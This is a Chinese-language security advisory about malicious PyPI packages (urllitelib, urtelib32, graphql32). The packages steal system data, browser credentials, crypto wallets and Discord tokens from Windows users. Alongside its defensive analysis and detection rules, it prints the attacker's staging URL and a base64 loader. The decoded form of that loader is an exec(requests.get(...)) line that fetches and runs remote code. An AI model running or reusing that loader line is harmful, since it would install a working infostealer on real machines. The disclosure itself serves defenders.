安全情报 | Pypi再现窃密攻击投毒

简介: 9月10日起,有投毒者持续向官方Pypi仓库中投放urllitelib、urtelib32、graphql32等多个版本的恶意Py包,请及时排查。

概述

悬镜安全自研的开源组件投毒检测平台通过对主流开源软件仓库(包括Pypi、NPM、Ruby等)发布的组件包进行持续性监控和自动化代码安全分析,同时结合专家安全经验复审,能够及时发现组件包投毒事件并精确定位恶意代码片段,捕获潜在的供应链投毒攻击行为。

上周我们在Python官方仓库(Pypi)中发现多起新的恶意组件包投毒事件,值得注意的是,urllitelib、urtelib32、graphql32三个python恶意包由同一个攻击者在9月10~11号之间上传投放到Pypi仓库,在此期间攻击者连续迭代发布多个版本,这三个恶意包的代码和攻击行为具有极高相似度,其主要攻击行为是窃取受害者PC操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等),截至目前这些恶意Py包在官方仓库上已被下载近2000次(详细数据如下所示)。
图片1.png

(https://www.pepy.tech/projects/urllitelib)

图片2.png

图片3.png

目前这些投毒包已从官方仓库中下架,经悬镜供应链安全实验室确认,国内各大主流Pypi镜像源仍缓存这些恶意投毒包 ,对于使用国内镜像源的广大开发者来说依旧面临潜在的安全风险。悬镜安全提醒国内开发者们自行排查是否安装或引用以下Python恶意组件包。

图片4.png

投毒窃密分析

从09月10日开始,悬镜安全的开源组件投毒检测系统监测到投毒者(benjaminrodriguezshhh@proton.me)持续向官方Pypi仓库中投放urllitelib、urtelib32、graphql32等多个版本的恶意Py包,这些恶意包命中了检测引擎的安全风险规则,通过进一步对恶意包样本的人工分析后,确认这是一起有针对性的投毒攻击事件,投毒者的攻击对象是Windows操作系统用户,其主要攻击行为是窃取Windows操作系统、主流浏览器、社交软件以及区块链钱包软件的敏感数据。

投毒攻击流程

当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或者依赖引用恶意组件包时,将自动触发执行恶意安装包setup.py中的第一阶段攻击代码,第一阶段攻击代码将从远程服务器下载第二、三阶段的攻击载荷,经过解码后,第三阶段攻击载荷将成为最终的投毒攻击代码。

投毒包攻击流如下图所示:
4.5.png

恶意样本分析

以urllitelib(1.2.0版本)为例:攻击者在组件包setup.py中设置自定义command类CustomInstall,当开发者执行pip install urllitelib安装组件包时将触发 CustomInstall.run()函数中的第一阶段攻击代码(如下图所示)。

图片5.png

远程下载攻击载荷

第一阶段的攻击代码首先将内置的恶意代码写入config.py文件后,进一步尝试使用管理员权限执行config.py,config.py将通过HTTP Auth认证的GET请求从远程服务器下载执行伪装成图片(http: //wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png) 的第二阶段攻击Payload,第二阶段Payload使用base64进行简单编码:

ZXhlYyhyZXF1ZXN0cy5nZXQoJ2h0dHA6Ly93cHAtYXBpLTAxaHcub25yZW5kZXIuY29tL2FwaS9zdGVhbC8xMTQwODg0NDgxNjcxMTg4NTgxLycsIGhlYWRlcnM9eydhdXRoJzogJyYmQ0QmJk9OJ30pLmpzb24oKVsnY29kZSddKQ

base64解码后,第二阶段攻击Payload真实内容如下:

b"exec(requests.get('http: //wpp-api-01hw.onrender.com/api/steal/1140884481671188581/', headers={'auth': '&&CD&&ON'}).json()['code'])"

第三阶段的攻击Payload同样是通过HTTP Auth认证的GET请求从http: //wpp-api-01hw.onrender.com/api/steal/1140884481671188581/ 下载后,再进行一轮base64解码,投毒包最终的攻击载荷如下所示:

图片6.png

通过分析投毒包远程载荷代码可明显发现其主要攻击逻辑包含有系统运行环境反调试、获取操作系统基本信息、窃取浏览器用户数据(密码,cookie,浏览记录等)、获取主流应用软件用户token、盗取区块链钱包敏感数据以及开机自启动等恶意行为。

反调试&虚拟机对抗

如下图所示,恶意代码具备比较基础的反调试和虚拟机对抗能力。恶意代码在执行数据窃密操作前,如果检测到系统中存在代码逆向、进程调试、进程监控、网络流量分析以及虚拟机服务等相关进程后会尝试杀死这些进程。此外,当检测到当前操作系统的主机名、网络IP、MAC地址如果命中内置的黑名单后,会删除自身代码,躲避检测。

图片7.png

获取系统敏感信息

恶意代码除了获取操作系统设备ID、主机名、用户名、网络IP、MAC等基础信息之外,还会对系统屏幕进行截屏。这些敏感数据最终都将发送到攻击者服务器上。

图片8.png

窃取浏览器用户数据

恶意代码还会尝试遍历主流浏览器的用户数据目录,窃取浏览器中存储的用户密码、cookie、信用卡、历史浏览记录等敏感数据。

图片9.png

盗取区块链钱包账户数据

恶意代码会遍历主流数字货币钱包(例如Exodus、Atomic Wallet.等)的数据目录,对钱包账户数据进行压缩打包后发送给攻击者服务器。

图片10.png

盗取Discord及主流浏览器token

此外,恶意代码还会搜索主流浏览器和Discord的用户数据目录,尝试从leveldb、sqlite3等本地数据库中挖掘出符合特定正则表达式的用户token数据。

图片11.png

IoC数据

此次投毒组件包涉及的恶意文件和恶意链接IoC数据如下所示:

图片12.jpg

总结

截止目前,投毒攻击者所使用的恶意代码载荷URL依然有效,虽然相关的投毒组件包已经从官方仓库Pypi上下架,但其依然存活于国内各大Pypi镜像源中,因此对于国内广大开发者来说仍需提供安全防范意识,除了自行排查现有Py安装包外,建议尽量使用官方Pypi仓库源。

排查方式

使用OpenSCA-cli,将以下内容保存为db.json文件,直接执行扫描命令(opensca-cli -db db.sjon -path${project_path}),即可快速获知您的项目是否受到投毒包影响。

[
  {
    "product": "urllitelib",
    "version": "[1.0.0, 1.2.0]",
    "language": "python",
    "id": "XMIRROR-2023-70549",
    "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
    "release_date": "2023-09-18"
  },
  {
    "product": "urtelib32",
    "version": "[1.7.2, 1.8.1]",
    "language": "python",
    "id": "XMIRROR-2023-70550",
    "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
    "release_date": "2023-09-18"
  },
  {
    "product": "graphql32",
    "version": "[1.7.2, 1.8.4]",
    "language": "python",
    "id": "XMIRROR-2023-70551",
    "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
    "release_date": "2023-09-18"
  }
]

悬镜安全也将持续监测和挖掘未知的开源组件安全风险,并及时对供应链投毒事件进行分析披露。

相关文章
|
SQL 安全 前端开发
渗透攻击实例-邪恶的CSRF(社会工程学)
渗透攻击实例-邪恶的CSRF(社会工程学)
|
7月前
|
人工智能 TensorFlow 算法框架/工具
|
安全 Java fastjson
反制Cobaltstrike的那些手段(二)
反制Cobaltstrike的那些手段
400 0
|
存储 安全 前端开发
反制Cobaltstrike的那些手段(一)
反制Cobaltstrike的那些手段
941 0
|
安全 Linux 文件存储
APT化、高赎金与定向攻击 | 2021年度阿里云勒索攻击态势报告
约80%攻击都伴随着"数据泄露"和"双重勒索"威胁
462 0
 APT化、高赎金与定向攻击 | 2021年度阿里云勒索攻击态势报告
|
安全
新僵尸病毒猖獗 Facebook成攻击目标
网络病毒日新月异,在2010年开春最杀的莫过于一种来自东欧的殭尸病毒,全球受害者预估已超过7.5万台计算机,包括政府计算机系统、在线银行、Yahoo!、Hotmail以及Facebook等社交网络都对这种病毒缺乏免疫能力。
699 0
|
Web App开发 安全 网络协议
IE极风0day漏洞危害升级 首例ARP挂马攻击已经出现
3月12日,金山安全实验室发布高危漏洞红色安全预警,12日上午8点39分,金山安全实验室率先截获了国内首例利用IE极风0day漏洞进行挂马传播的案例。这也表示IE极风0day漏洞在被发现后的短短3天时间里,已经开始被黑客利用进行传播病毒。
1168 0
|
Web App开发 新零售 安全
大型挂马团伙“擒狼”攻击分析及溯源报告
本文讲的是大型挂马团伙“擒狼”攻击分析及溯源报告,7月13日,360安全卫士检测到一起网站广告位挂马事件,大量网络广告出现集体挂马,广告内容以同城交友等诱惑信息为主,预警为“擒狼”木马攻击。我们通过对整个挂马攻击的分析溯源发现,这个木马主要功能是锁定浏览器的主页并带有远程控制后门,作者通过木马谋取暴利,是一起典型的黑产行为。
2308 0
|
存储 数据库
《网络空间欺骗:构筑欺骗防御的科学基石》一3.3.1 恶意样本收集
本文讲的是网络空间欺骗:构筑欺骗防御的科学基石一3.3.1 恶意样本收集,本节书摘来华章计算机《网络空间欺骗:构筑欺骗防御的科学基石》一书中的第3章,第3.3.1节, Cyber Deception: Building the Scientific Foundation 苏西尔·贾乔迪亚(Sushil Jajodia)V. S.苏夫拉曼尼(V. S. Subrahmanian)[美] 维平·斯沃尔(Vipin Swarup) 著 克利夫·王(Cliff Wang) 马多贺 雷程 译 译更多章节内容可以访问云栖社区“华章计算机”公众号查看。
851 0
|
安全
恶意软件Shamoon将文档变成攻击武器
本文讲的是恶意软件Shamoon将文档变成攻击武器,IBM X-Force 事件响应与情报服务(IRIS)团队:臭名昭著的磁盘清除恶意软件Shamoon,利用启用宏的文档和PowerShell脚本感染目标系统。
1440 0